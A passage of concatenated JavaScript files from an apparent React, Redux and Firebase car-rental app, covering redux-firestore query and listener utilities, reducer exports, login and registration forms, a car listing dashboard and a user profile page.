where.length > 1 ? ref.where.apply(ref, _toConsumableArray(where)) : ref.where(where[0]); } return where.reduce(function (acc, whereArgs) { return addWhereToRef(acc, whereArgs); }, ref); } function addOrderByToRef(ref, orderBy) { if (!(0, _isArray2.default)(orderBy) && !(0, _isString2.default)(orderBy)) { throw new Error('orderBy parameter must be an array or string.'); } if ((0, _isString2.default)(orderBy)) { return ref.orderBy(orderBy); } if ((0, _isString2.default)(orderBy[0])) { return ref.orderBy.apply(ref, _toConsumableArray(orderBy)); } return orderBy.reduce(function (acc, orderByArgs) { return addOrderByToRef(acc, orderByArgs); }, ref); } function handleSubcollections(ref, subcollectionList) { if (subcollectionList) { (0, _forEach2.default)(subcollectionList, function (subcollection) { if (subcollection.collection) { if (!(0, _isFunction2.default)(ref.collection)) { throw new Error("Collection can only be run on a document. Check that query config for subcollection: \"".concat(subcollection.collection, "\" contains a doc parameter.")); } ref = ref.collection(subcollection.collection); } if (subcollection.doc) ref = ref.doc(subcollection.doc); if (subcollection.where) ref = addWhereToRef(ref, subcollection.where); if (subcollection.orderBy) { ref = addOrderByToRef(ref, subcollection.orderBy); } if (subcollection.limit) ref = ref.limit(subcollection.limit); if (subcollection.startAt) ref = ref.startAt(subcollection.startAt); if (subcollection.startAfter) { ref = ref.startAfter(subcollection.startAfter); } if (subcollection.endAt) ref = ref.endAt(subcollection.endAt); if (subcollection.endBefore) ref = ref.endBefore(subcollection.endBefore); ref = handleSubcollections(ref, subcollection.subcollections); }); } return ref; } function firestoreRef(firebase, meta) { if (!firebase.firestore) { throw new Error('Firestore must be required and initalized.'); } var collection = meta.collection, doc = meta.doc, subcollections = meta.subcollections, where = meta.where, orderBy = meta.orderBy, limit = meta.limit, startAt = meta.startAt, startAfter = meta.startAfter, endAt = meta.endAt, endBefore = meta.endBefore; var ref = firebase.firestore().collection(collection); if (doc) ref = ref.doc(doc); ref = handleSubcollections(ref, subcollections); if (where) ref = addWhereToRef(ref, where); if (orderBy) ref = addOrderByToRef(ref, orderBy); if (limit) ref = ref.limit(limit); if (startAt) ref = ref.startAt(startAt); if (startAfter) ref = ref.startAfter(startAfter); if (endAt) ref = ref.endAt(endAt); if (endBefore) ref = ref.endBefore(endBefore); return ref; } function arrayToStr(key, value) { if ((0, _isString2.default)(value) || (0, _isNumber2.default)(value)) return "".concat(key, "=").concat(value); if ((0, _isString2.default)(value[0])) return "".concat(key, "=").concat(value.join(':')); if (value && value.toString) return "".concat(key, "=").concat(value.toString()); return value.map(function (val) { return arrayToStr(key, val); }); } function pickQueryParams(obj) { return ['where', 'orderBy', 'limit', 'startAfter', 'startAt', 'endAt', 'endBefore'].reduce(function (acc, key) { return obj[key] ? _objectSpread({}, acc, _defineProperty({}, key, obj[key])) : acc; }, {}); } function serialize(queryParams) { return Object.keys(queryParams).filter(function (key) { return queryParams[key] !== undefined; }).map(function (key) { return arrayToStr(key, queryParams[key]); }).join('&'); } function getQueryName(meta) { if ((0, _isString2.default)(meta)) { return meta; } var collection = meta.collection, doc = meta.doc, subcollections = meta.subcollections, storeAs = meta.storeAs, remainingMeta = _objectWithoutProperties(meta, ["collection", "doc", "subcollections", "storeAs"]); if (!collection) { throw new Error('Collection is required to build query name'); } if (storeAs) { return storeAs; } var basePath = collection; if (doc) { basePath = basePath.concat("/".concat(doc)); } if (subcollections) { var mappedCollections = subcollections.map(function (subcollection) { return getQueryName(subcollection); }); basePath = "".concat(basePath, "/").concat(mappedCollections.join('/')); } var queryParams = pickQueryParams(remainingMeta); if (!(0, _isEmpty2.default)(queryParams)) { if (queryParams.where && !(0, _isArray2.default)(queryParams.where)) { throw new Error('where parameter must be an array.'); } basePath = basePath.concat('?', serialize(queryParams)); } return basePath; } function getBaseQueryName(meta) { if ((0, _isString2.default)(meta)) { return meta; } var collection = meta.collection, subcollections = meta.subcollections, remainingMeta = _objectWithoutProperties(meta, ["collection", "subcollections"]); if (!collection) { throw new Error('Collection is required to build query name'); } var basePath = collection; if (subcollections) { var mappedCollections = subcollections.map(function (subcollection) { return getQueryName(subcollection); }); basePath = "".concat(basePath, "/").concat(mappedCollections.join('/')); } var queryParams = pickQueryParams(remainingMeta); if (!(0, _isEmpty2.default)(queryParams)) { if (queryParams.where && !(0, _isArray2.default)(queryParams.where)) { throw new Error('where parameter must be an array.'); } basePath = basePath.concat('?', serialize(queryParams)); } return basePath; } function confirmMetaAndConfig(firebase, meta) { if (!meta) { throw new Error('Meta data is required to attach listener.'); } if (!(0, _has2.default)(firebase, '_.listeners')) { throw new Error('Internal Firebase object required to attach listener. Confirm that reduxFirestore enhancer was added when you were creating your store'); } } function listenerExists(firebase, meta) { confirmMetaAndConfig(firebase, meta); var name = getQueryName(meta); return !!firebase._.listeners[name]; } function attachListener(firebase, dispatch, meta, unsubscribe) { confirmMetaAndConfig(firebase, meta); var name = getQueryName(meta); if (!firebase._.listeners[name]) { firebase._.listeners[name] = unsubscribe; } dispatch({ type: _constants.actionTypes.SET_LISTENER, meta: meta, payload: { name: name } }); return firebase._.listeners; } function detachListener(firebase, dispatch, meta) { var name = getQueryName(meta); if (firebase._.listeners[name]) { firebase._.listeners[name](); delete firebase._.listeners[name]; } dispatch({ type: _constants.actionTypes.UNSET_LISTENER, meta: meta, payload: { name: name } }); } function queryStrToObj(queryPathStr, parsedPath) { var pathArr = parsedPath || (0, _trim2.default)(queryPathStr, ['/']).split('/'); var _pathArr = _toArray(pathArr), collection = _pathArr[0], doc = _pathArr[1], subcollections = _pathArr.slice(2); var queryObj = {}; if (collection) queryObj.collection = collection; if (doc) queryObj.doc = doc; if (subcollections.length) { queryObj.subcollections = [queryStrToObj('', subcollections)]; } return queryObj; } function getQueryConfig(query) { if ((0, _isString2.default)(query)) { return queryStrToObj(query); } if ((0, _isObject2.default)(query)) { if (!query.collection && !query.doc) { throw new Error('Collection and/or Doc are required parameters within query definition object.'); } return query; } throw new Error('Invalid Path Definition: Only Strings and Objects are accepted.'); } function getQueryConfigs(queries) { if ((0, _isArray2.default)(queries)) { return queries.map(getQueryConfig); } if ((0, _isString2.default)(queries)) { return queryStrToObj(queries); } if ((0, _isObject2.default)(queries)) { return [getQueryConfig(queries)]; } throw new Error('Querie(s) must be an Array or a string.'); } function orderedFromSnap(snap) { var ordered = []; if (snap.data && snap.exists) { var obj = (0, _isObject2.default)(snap.data()) ? _objectSpread({ id: snap.id }, snap.data() || snap.data) : { id: snap.id, data: snap.data() }; ordered.push(obj); } else if (snap.forEach) { snap.forEach(function (doc) { var obj = (0, _isObject2.default)(doc.data()) ? _objectSpread({ id: doc.id }, doc.data() || doc.data) : { id: doc.id, data: doc.data() }; ordered.push(obj); }); } return ordered; } function dataByIdSnapshot(snap) { var data = {}; if (snap.data && snap.exists) { data[snap.id] = snap.data(); } else if (snap.forEach) { snap.forEach(function (doc) { data[doc.id] = doc.data() || doc; }); } return (0, _size2.default)(data) ? data : null; } function getPopulateChild(firebase, populate, id) { return firestoreRef(firebase, { collection: populate.root, doc: id }).get().then(function (snap) { return Object.assign({ id: id }, snap.data()); }); } function populateList(firebase, originalObj, p, results) { if (!results[p.root]) { (0, _set2.default)(results, p.root, {}); } return Promise.all((0, _map2.default)(originalObj, function (id, childKey) { var populateKey = id === true || p.populateByKey ? childKey : id; return getPopulateChild(firebase, p, populateKey).then(function (pc) { if (pc) { return (0, _set2.default)(results, "".concat(p.root, ".").concat(populateKey), pc); } return results; }); })); } function getPopulateObj(str) { if (!(0, _isString2.default)(str)) { return str; } var strArray = str.split(':'); return { child: strArray[0], root: strArray[1] }; } function getPopulateObjs(arr) { if (!(0, _isArray2.default)(arr)) { return arr; } return arr.map(function (o) { return (0, _isObject2.default)(o) ? o : getPopulateObj(o); }); } function promisesForPopulate(firebase, dataKey, originalData, populatesIn) { var promisesArray = []; var results = {}; var populatesForData = getPopulateObjs((0, _isFunction2.default)(populatesIn) ? populatesIn(dataKey, originalData) : populatesIn); var dataHasPopulateChilds = (0, _some2.default)(populatesForData, function (populate) { return (0, _has2.default)(originalData, populate.child); }); if (dataHasPopulateChilds) { (0, _forEach2.default)(populatesForData, function (p) { if ((0, _isString2.default)((0, _get2.default)(originalData, p.child))) { return promisesArray.push(getPopulateChild(firebase, p, (0, _get2.default)(originalData, p.child)).then(function (v) { if (v) { (0, _set2.default)(results, "".concat(p.root, ".").concat((0, _get2.default)(originalData, p.child)), v); } })); } return promisesArray.push(populateList(firebase, (0, _get2.default)(originalData, p.child), p, results)); }); } else { (0, _forEach2.default)(originalData, function (d, key) { var populatesForDataItem = getPopulateObj((0, _isFunction2.default)(populatesIn) ? populatesIn(key, d) : populatesIn); (0, _forEach2.default)(populatesForDataItem, function (p) { var idOrList = (0, _get2.default)(d, p.child); if (!idOrList) { return; } if ((0, _isString2.default)(idOrList)) { return promisesArray.push(getPopulateChild(firebase, p, idOrList).then(function (v) { if (v) { (0, _set2.default)(results, "".concat(p.root, ".").concat(idOrList), v); } return results; })); } if ((0, _isArray2.default)(idOrList) || (0, _isObject2.default)(idOrList)) { return promisesArray.push(populateList(firebase, idOrList, p, results)); } }); }); } return Promise.all(promisesArray).then(function () { return results; }); } var changeTypeToEventType = { added: _constants.actionTypes.DOCUMENT_ADDED, removed: _constants.actionTypes.DOCUMENT_REMOVED, modified: _constants.actionTypes.DOCUMENT_MODIFIED }; function docChangeEvent(change) { var originalMeta = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; var meta = _objectSpread({}, (0, _cloneDeep2.default)(originalMeta), { path: change.doc.ref.path }); if (originalMeta.subcollections && !originalMeta.storeAs) { meta.subcollections[0] = _objectSpread({}, meta.subcollections[0], { doc: change.doc.id }); } else { meta.doc = change.doc.id; } return { type: changeTypeToEventType[change.type] || _constants.actionTypes.DOCUMENT_MODIFIED, meta: meta, payload: { data: change.doc.data(), ordered: { oldIndex: change.oldIndex, newIndex: change.newIndex } } }; } function dispatchListenerResponse(_ref) { var dispatch = _ref.dispatch, docData = _ref.docData, meta = _ref.meta, firebase = _ref.firebase; var _ref2 = firebase._.config || {}, mergeOrdered = _ref2.mergeOrdered, mergeOrderedDocUpdates = _ref2.mergeOrderedDocUpdates, mergeOrderedCollectionUpdates = _ref2.mergeOrderedCollectionUpdates; var docChanges = typeof docData.docChanges === 'function' ? docData.docChanges() : docData.docChanges; if (docChanges && docChanges.length < docData.size) { docChanges.forEach(function (change) { dispatch(docChangeEvent(change, meta)); }); } else { dispatch({ type: _constants.actionTypes.LISTENER_RESPONSE, meta: meta, payload: { data: dataByIdSnapshot(docData), ordered: orderedFromSnap(docData) }, merge: { docs: mergeOrdered && mergeOrderedDocUpdates, collections: mergeOrdered && mergeOrderedCollectionUpdates } }); } } function getPopulateActions(_ref3) { var firebase = _ref3.firebase, docData = _ref3.docData, meta = _ref3.meta; return promisesForPopulate(firebase, docData.id, dataByIdSnapshot(docData), meta.populates).then(function (populateResults) { return Object.keys(populateResults).map(function (resultKey) { return { meta: { collection: resultKey }, payload: { data: populateResults[resultKey] }, requesting: false, requested: true }; }); }).catch(function (populateErr) { console.error('Error with populate:', populateErr, meta); return Promise.reject(populateErr); }); }<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); Object.defineProperty(exports, "dataReducer", { enumerable: true, get: function get() { return _dataReducer.default; } }); Object.defineProperty(exports, "errorsReducer", { enumerable: true, get: function get() { return _errorsReducer.default; } }); Object.defineProperty(exports, "listenersReducer", { enumerable: true, get: function get() { return _listenersReducer.default; } }); Object.defineProperty(exports, "orderedReducer", { enumerable: true, get: function get() { return _orderedReducer.default; } }); Object.defineProperty(exports, "statusReducer", { enumerable: true, get: function get() { return _statusReducer.default; } }); Object.defineProperty(exports, "queriesReducer", { enumerable: true, get: function get() { return _queriesReducer.default; } }); Object.defineProperty(exports, "crossSliceReducer", { enumerable: true, get: function get() { return _crossSliceReducer.default; } }); exports.default = void 0; var _dataReducer = _interopRequireDefault(require("./dataReducer")); var _errorsReducer = _interopRequireDefault(require("./errorsReducer")); var _listenersReducer = _interopRequireDefault(require("./listenersReducer")); var _orderedReducer = _interopRequireDefault(require("./orderedReducer")); var _statusReducer = _interopRequireDefault(require("./statusReducer")); var _queriesReducer = _interopRequireDefault(require("./queriesReducer")); var _crossSliceReducer = _interopRequireDefault(require("./crossSliceReducer")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var _default = { dataReducer: _dataReducer.default, errorsReducer: _errorsReducer.default, listenersReducer: _listenersReducer.default, orderedReducer: _orderedReducer.default, statusReducer: _statusReducer.default, queriesReducer: _queriesReducer.default, crossSliceReducer: _crossSliceReducer.default }; exports.default = _default;<file_sep>export { default as default } from './modules/PhoneInputNativeDefaultMetadata' export { default as formatPhoneNumber, formatPhoneNumberIntl } from './modules/formatPhoneNumberDefaultMetadata' export { default as isValidPhoneNumber } from './modules/isValidPhoneNumberDefaultMetadata' // Deprecated export. // Use `import PhoneInput from 'react-phone-number-input/core'` instead. export { default as PhoneInput } from './modules/PhoneInput' <file_sep>import React, { Component } from 'react' import { connect } from 'react-redux' import { signIn, signOut, signUp } from '../../store/actions/authAction' import Tabs from 'react-bootstrap/Tabs' import Tab from 'react-bootstrap/Tab' import 'react-phone-number-input/style.css' import PhoneInput from 'react-phone-number-input' import Container from 'react-bootstrap/Container' import Form from 'react-bootstrap/Form' import Button from 'react-bootstrap/Button' import { Redirect } from 'react-router-dom' import './index.scss' class Login extends Component { state = { email: '', password: '', firstName: '', lastName: '', phoneNumber: '', accountType: 'Company', companyName: '', userAddress: '' } componentWillMount() { console.log('a', this.props.auth.uid) } handleChange = (e) => { this.setState({ [e.target.name]: e.target.value }) } handleSubmit = (e) => { e.preventDefault() this.props.signIn(this.state) } handleSignUp = (e) => { e.preventDefault() this.props.signUp(this.state) } render() { console.log(this.props.auth) if (this.props.auth.uid) { return <Redirect to='/' /> } let company = null if (this.state.accountType === 'Company') { company = <Form.Group> <Form.Label>Company Name</Form.Label> <Form.Control type="text" name='companyName' value={this.state.companyName} onChange={this.handleChange} placeholder='Company Name' /> </Form.Group> } return ( <div> <Container className='login-page'> <Tabs defaultActiveKey="login" id="uncontrolled-tab-example"> <Tab eventKey="login" title="Login"> {/* <Sonnet /> */} <Form onSubmit={this.handleSubmit}> <Form.Group controlId="formBasicEmail"> <Form.Label>Email</Form.Label> <Form.Control type="email" name='email' value={this.state.userEmail} onChange={this.handleChange} placeholder='Your email' /> </Form.Group> <Form.Group controlId="formBasicPassword"> <Form.Label>Password</Form.Label> <Form.Control type="<PASSWORD>" name='password' value={this.state.password} onChange={this.handleChange} placeholder='Your password' /> </Form.Group> <Button type='submit' variant="primary">Login</Button> </Form> </Tab> <Tab eventKey="register" title="Register"> <Form onSubmit={this.handleSignUp}> <Form.Group controlId="exampleForm.ControlSelect1"> <Form.Label>Account Type</Form.Label> <Form.Control as="select" onChange={this.handleChange} name='accountType' value={this.state.accountType}> <option>Company</option> <option>Personal</option> </Form.Control> </Form.Group> {company} <Form.Group controlId="formBasicfirstname"> <Form.Label>First Name</Form.Label> <Form.Control type="text" name='firstName' value={this.state.firstName} onChange={this.handleChange} placeholder='Your first name' /> </Form.Group> <Form.Group controlId="formBasiclastname"> <Form.Label>Last Name</Form.Label> <Form.Control type="text" name='lastName' value={this.state.lastName} onChange={this.handleChange} placeholder='Your last name' /> </Form.Group> <Form.Group controlId="formBasicEmail"> <Form.Label>Email</Form.Label> <Form.Control type="email" name='email' value={this.state.userEmail} onChange={this.handleChange} placeholder='Your email' /> </Form.Group> <Form.Group controlId="formBasicPassword"> <Form.Label>Password</Form.Label> <Form.Control type="<PASSWORD>" name='password' value={this.state.password} onChange={this.handleChange} placeholder='Your password' /> </Form.Group> <Form.Group> <Form.Label>Phone Number</Form.Label> <PhoneInput placeholder="Enter phone number" value={this.state.phoneNumber} className='form-control' onChange={phoneNumber => this.setState({ phoneNumber })} /> </Form.Group> <Form.Group controlId="formBasicfirstname"> <Form.Label>Address</Form.Label> <Form.Control type="text" name='userAddress' value={this.state.userAddress} onChange={this.handleChange} placeholder='Address' /> </Form.Group> <Button type='submit' variant="primary">Register</Button> {this.props.authError ? <p>{this.props.authError}</p> : null} </Form> </Tab> </Tabs> </Container> </div> ) } } const mapStateToProps = (state) => { return { auth: state.firebase.auth, authError: state.auth.authError } } const mapDispatchToProps = (dispatch) => { return { signIn: (creds) => dispatch(signIn(creds)), signUp: (creds) => dispatch(signUp(creds)), signOut: () => dispatch(signOut()) } } export default connect(mapStateToProps, mapDispatchToProps)(Login)<file_sep>import React from 'react' import Adapter from 'enzyme-adapter-react-16' import { shallow, configure } from 'enzyme' import { WhyChooseUs } from './index' configure({ adapter: new Adapter() }); describe('WhyChooseUs', () => { const whyChooseUs = shallow(<WhyChooseUs />) it('render WhyChooseUs', () => { expect(whyChooseUs).toMatchSnapshot() }) })<file_sep>import React, { Component } from 'react' import { connect } from 'react-redux' import { firestoreConnect } from 'react-redux-firebase' import { updateProject } from '../../store/actions/projectAction' import { compose } from 'redux' import { Link } from 'react-router-dom' import Container from 'react-bootstrap/Container' import Row from 'react-bootstrap/Row' import Col from 'react-bootstrap/Col' import moment from 'moment' import bg_cars from '../../assets/bg-cars.jpg' import './index.scss' export class Dashboard extends Component { constructor(props) { super(props) this.state = { feedback: 0, carID: '0' } this.addFeedback = this.addFeedback.bind(this) } addFeedback = (id, feedback) => { console.log('id:', id + 'aaaaaa' + feedback) // this.setState({ // feedback: feedback + 1, // carID: id // }).then(() => { // console.log('eeeee', this.state) // }).catch((err) => { // console.log(err) // }) this.setState({ carID: id, feedback: feedback + 1 }, () => { console.log(this.state) this.props.updateProject(this.state) }) } render() { const sectionStyle = { backgroundImage: `url(${bg_cars})` }; const { projects } = this.props return ( <div> <section className='hero'> <div className='container'> <h1>Classic Car Page</h1> <ul className='hero-links'> <li><Link to='/'>Home</Link> </li> <li><Link to='/dashboard'>Cars</Link></li> </ul> </div> <div className='box-position' style={sectionStyle}></div> </section> <Container> <Row> {projects && projects.map((project, i) => { return ( <Col sm={4} key={i}> <div className='mainBoxItem'> <Link to={'/project/' + project.id} > <div className='overflow-hidden'> <img src={project.userImage} alt='Car' /> </div> <h3>{project.carType} {project.carModel}</h3> </Link> <div className='flex'> <p>{project.authorFirstName}</p> <em>{moment(project.createdAt.toDate()).calendar()}</em> </div> <span className='car-price'>{project.carPrice} {project.Currency} / <em>Per Day</em></span> <span className='review-number' onClick={() => this.addFeedback(project.id, project.feedback)}>+1 ({project.feedback})</span> </div> </Col> ) })} </Row> </Container> </div> ) } } const mapStateToProps = (state) => { return { projects: state.firestore.ordered.project } } const mapDispatchToProps = (dispatch) => { return { updateProject: (project) => dispatch(updateProject(project)) } } export default compose( connect(mapStateToProps, mapDispatchToProps), firestoreConnect([ { collection: 'project', orderBy: ['createdAt', 'desc'] } ]) )(Dashboard)<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.add = add; exports.set = set; exports.get = get; exports.update = update; exports.deleteRef = deleteRef; exports.setListener = setListener; exports.setListeners = setListeners; exports.unsetListener = unsetListener; exports.unsetListeners = unsetListeners; exports.runTransaction = runTransaction; exports.default = void 0; var _every2 = _interopRequireDefault(require("lodash/every")); var _isFunction2 = _interopRequireDefault(require("lodash/isFunction")); var _invoke2 = _interopRequireDefault(require("lodash/invoke")); var _isArray2 = _interopRequireDefault(require("lodash/isArray")); var _actions = require("../utils/actions"); var _constants = require("../constants"); var _query = require("../utils/query"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var pathListenerCounts = {}; function add(firebase, dispatch, queryOption) { for (var _len = arguments.length, args = new Array(_len > 3 ? _len - 3 : 0), _key = 3; _key < _len; _key++) { args[_key - 3] = arguments[_key]; } var meta = (0, _query.getQueryConfig)(queryOption); return (0, _actions.wrapInDispatch)(dispatch, { ref: (0, _query.firestoreRef)(firebase, meta), method: 'add', meta: meta, args: args, types: [_constants.actionTypes.ADD_REQUEST, { type: _constants.actionTypes.ADD_SUCCESS, payload: function payload(snap) { return { id: snap.id, data: args[0] }; } }, _constants.actionTypes.ADD_FAILURE] }); } function set(firebase, dispatch, queryOption) { for (var _len2 = arguments.length, args = new Array(_len2 > 3 ? _len2 - 3 : 0), _key2 = 3; _key2 < _len2; _key2++) { args[_key2 - 3] = arguments[_key2]; } var meta = (0, _query.getQueryConfig)(queryOption); return (0, _actions.wrapInDispatch)(dispatch, { ref: (0, _query.firestoreRef)(firebase, meta), method: 'set', meta: meta, args: args, types: [_constants.actionTypes.SET_REQUEST, _constants.actionTypes.SET_SUCCESS, _constants.actionTypes.SET_FAILURE] }); } function get(firebase, dispatch, queryOption) { var meta = (0, _query.getQueryConfig)(queryOption); var _ref = firebase._.config || {}, mergeOrdered = _ref.mergeOrdered, mergeOrderedDocUpdates = _ref.mergeOrderedDocUpdates, mergeOrderedCollectionUpdates = _ref.mergeOrderedCollectionUpdates; return (0, _actions.wrapInDispatch)(dispatch, { ref: (0, _query.firestoreRef)(firebase, meta), method: 'get', meta: meta, types: [_constants.actionTypes.GET_REQUEST, { type: _constants.actionTypes.GET_SUCCESS, payload: function payload(snap) { return { data: (0, _query.dataByIdSnapshot)(snap), ordered: (0, _query.orderedFromSnap)(snap) }; }, merge: { docs: mergeOrdered && mergeOrderedDocUpdates, collections: mergeOrdered && mergeOrderedCollectionUpdates } }, _constants.actionTypes.GET_FAILURE] }); } function update(firebase, dispatch, queryOption) { for (var _len3 = arguments.length, args = new Array(_len3 > 3 ? _len3 - 3 : 0), _key3 = 3; _key3 < _len3; _key3++) { args[_key3 - 3] = arguments[_key3]; } var meta = (0, _query.getQueryConfig)(queryOption); return (0, _actions.wrapInDispatch)(dispatch, { ref: (0, _query.firestoreRef)(firebase, meta), method: 'update', meta: meta, args: args, types: [_constants.actionTypes.UPDATE_REQUEST, _constants.actionTypes.UPDATE_SUCCESS, _constants.actionTypes.UPDATE_FAILURE] }); } function deleteRef(firebase, dispatch, queryOption) { var meta = (0, _query.getQueryConfig)(queryOption); var config = firebase._.config; if (!meta.doc || meta.subcollections && !(0, _every2.default)(meta.subcollections, 'doc')) { if ((0, _isFunction2.default)(config.onAttemptCollectionDelete)) { return config.onAttemptCollectionDelete(queryOption, dispatch, firebase); } return Promise.reject(new Error('Only documents can be deleted.')); } return (0, _actions.wrapInDispatch)(dispatch, { ref: (0, _query.firestoreRef)(firebase, meta), method: 'delete', meta: meta, types: [_constants.actionTypes.DELETE_REQUEST, { type: _constants.actionTypes.DELETE_SUCCESS, preserve: firebase._.config.preserveOnDelete }, _constants.actionTypes.DELETE_FAILURE] }); } function setListener(firebase, dispatch, queryOpts, successCb, errorCb) { var meta = (0, _query.getQueryConfig)(queryOpts); var unsubscribe = (0, _query.firestoreRef)(firebase, meta).onSnapshot(function (docData) { if (!meta.populates) { (0, _query.dispatchListenerResponse)({ dispatch: dispatch, docData: docData, meta: meta, firebase: firebase }); if (typeof successCb === 'function') successCb(docData); return; } (0, _query.getPopulateActions)({ firebase: firebase, docData: docData, meta: meta }).then(function (populateActions) { populateActions.forEach(function (populateAction) { dispatch(_objectSpread({}, populateAction, { type: _constants.actionTypes.LISTENER_RESPONSE, timestamp: Date.now() })); }); (0, _query.dispatchListenerResponse)({ dispatch: dispatch, docData: docData, meta: meta, firebase: firebase }); }).catch(function (populateErr) { if (firebase._.config.logListenerError) { (0, _invoke2.default)(console, 'error', "Error populating:", populateErr); } if (typeof errorCb === 'function') errorCb(populateErr); }); }, function (err) { var _ref2 = firebase._.config || {}, mergeOrdered = _ref2.mergeOrdered, mergeOrderedDocUpdates = _ref2.mergeOrderedDocUpdates, mergeOrderedCollectionUpdates = _ref2.mergeOrderedCollectionUpdates; var _ref3 = firebase._.config || {}, logListenerError = _ref3.logListenerError, preserveOnListenerError = _ref3.preserveOnListenerError; if (logListenerError) (0, _invoke2.default)(console, 'error', err); dispatch({ type: _constants.actionTypes.LISTENER_ERROR, meta: meta, payload: err, merge: { docs: mergeOrdered && mergeOrderedDocUpdates, collections: mergeOrdered && mergeOrderedCollectionUpdates }, preserve: preserveOnListenerError }); if (typeof errorCb === 'function') errorCb(err); }); (0, _query.attachListener)(firebase, dispatch, meta, unsubscribe); return unsubscribe; } function setListeners(firebase, dispatch, listeners) { if (!(0, _isArray2.default)(listeners)) { throw new Error('Listeners must be an Array of listener configs (Strings/Objects).'); } var config = firebase._.config; if (config.oneListenerPerPath) { listeners.forEach(function (listener) { var path = (0, _query.getQueryName)(listener); var oldListenerCount = pathListenerCounts[path] || 0; pathListenerCounts[path] = oldListenerCount + 1; if (oldListenerCount > 0) { return; } setListener(firebase, dispatch, listener); }); } else { var allowMultipleListeners = config.allowMultipleListeners; listeners.forEach(function (listener) { var path = (0, _query.getQueryName)(listener); var oldListenerCount = pathListenerCounts[path] || 0; var multipleListenersEnabled = (0, _isFunction2.default)(allowMultipleListeners) ? allowMultipleListeners(listener, firebase._.listeners) : allowMultipleListeners; pathListenerCounts[path] = oldListenerCount + 1; if (oldListenerCount === 0 || multipleListenersEnabled) { setListener(firebase, dispatch, listener); } }); } } function unsetListener(firebase, dispatch, meta) { return (0, _query.detachListener)(firebase, dispatch, (0, _query.getQueryConfig)(meta)); } function unsetListeners(firebase, dispatch, listeners) { if (!(0, _isArray2.default)(listeners)) { throw new Error('Listeners must be an Array of listener configs (Strings/Objects).'); } var config = firebase._.config; var allowMultipleListeners = config.allowMultipleListeners; listeners.forEach(function (listener) { var path = (0, _query.getQueryName)(listener); var listenerExists = pathListenerCounts[path] >= 1; var multipleListenersEnabled = (0, _isFunction2.default)(allowMultipleListeners) ? allowMultipleListeners(listener, firebase._.listeners) : allowMultipleListeners; if (listenerExists) { pathListenerCounts[path] -= 1; if (pathListenerCounts[path] === 0 || multipleListenersEnabled) { unsetListener(firebase, dispatch, listener); } } }); } function runTransaction(firebase, dispatch, transactionPromise) { return (0, _actions.wrapInDispatch)(dispatch, { ref: firebase.firestore(), method: 'runTransaction', args: [transactionPromise], types: [_constants.actionTypes.TRANSACTION_START, _constants.actionTypes.TRANSACTION_SUCCESS, _constants.actionTypes.TRANSACTION_FAILURE] }); } var _default = { get: get, firestoreRef: _query.firestoreRef, add: add, update: update, setListener: setListener, setListeners: setListeners, unsetListener: unsetListener, unsetListeners: unsetListeners, runTransaction: runTransaction }; exports.default = _default;<file_sep>"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; require("react-calendar/dist/Calendar.css"); require("react-clock/dist/Clock.css"); var _DateTimeRangePicker = _interopRequireDefault(require("./DateTimeRangePicker")); require("./DateTimeRangePicker.css"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } // File is created during build phase and placed in dist directory // eslint-disable-next-line import/no-unresolved var _default = _DateTimeRangePicker.default; exports.default = _default;<file_sep>import React, { Component } from 'react' import { connect } from 'react-redux' import { firestoreConnect } from 'react-redux-firebase' import { compose } from 'redux' import { Link } from 'react-router-dom' // import PaypalExpressBtn from 'react-paypal-express-checkout' // import Cards from 'react-credit-cards' import { Redirect } from 'react-router-dom' import moment from 'moment' import Container from 'react-bootstrap/Container' import Row from 'react-bootstrap/Row' import Col from 'react-bootstrap/Col' // import 'react-credit-cards/lib/styles.scss' import './index.scss' class Profile extends Component { componentWillReceiveProps(newProps) { this.setState({ messages: newProps.messages }) } constructor(props) { super(props) this.state = { messages: [] } } render() { let { user, projects, auth } = this.props let { messages } = this.state // const client = { // sandbox: '<KEY>', // production: '<KEY>', // } if (!this.props.auth.uid) { return <Redirect to='/' /> } let carListt = [] if (projects) { const carList = projects carListt = carList.filter((item) => { return item.authhorId === auth.uid }) } console.log('sdsa', messages) let myMessages = [] if (messages) { myMessages = Object.values(messages).filter((item) => { return item.OwnerID === auth.uid }) } console.log('MYMESSAGES', myMessages) return ( <div className='profile'> <Container className='profile-page'> <h1>Profile</h1> <h2>{user.firstName} {user.lastName}</h2> <div className='user-info'> <p><span>Tel:</span> {user.phoneNumber}</p> <p><span>Email:</span> {auth.email}</p> </div> <div className='user-messages'> <ul> {myMessages ? myMessages.map((message, i) => { return ( <li key={i}> <p>City: {message.Email}</p> <p>Phone Number: {message.phoneNumber}</p> <p>Car: {message.carType} {message.carModel}</p> <p> <b>FROM - TO:</b> {message.date.map((date, i) => { return ( <span key={i}>{moment(date.toDate()).calendar()}</span> ) })} </p> </li> ) }) : null} </ul> </div> <Row> {carListt.map((project, i) => { return ( <Col sm={4} key={i}> <div className='mainBoxItem'> <Link to={'/project/' + project.id} > <div className='overflow-hidden'> <img src={project.userImage} alt='Car' /> </div> <h3>{project.carType} {project.carModel}</h3> </Link> <span className='car-price'>{project.carPrice} {project.Currency}</span> {/* <em>REVIEW:</em> <span className='feedback'>{project.feedback}</span> */} </div> </Col> ) })} </Row> {/* <div className='paypal'> <br /> <PaypalExpressBtn client={client} currency={'USD'} total={1.00} /> </div> <Cards number='378282246310005' name='<NAME>' expiry='11/22' cvc='622' focused={state.focused} /> */} </Container> </div> ) } } const mapStateToProps = (state) => { return { auth: state.firebase.auth, user: state.firebase.profile, projects: state.firestore.ordered.project, messages: state.firestore.data.messages } } export default compose( connect(mapStateToProps), firestoreConnect([ { collection: 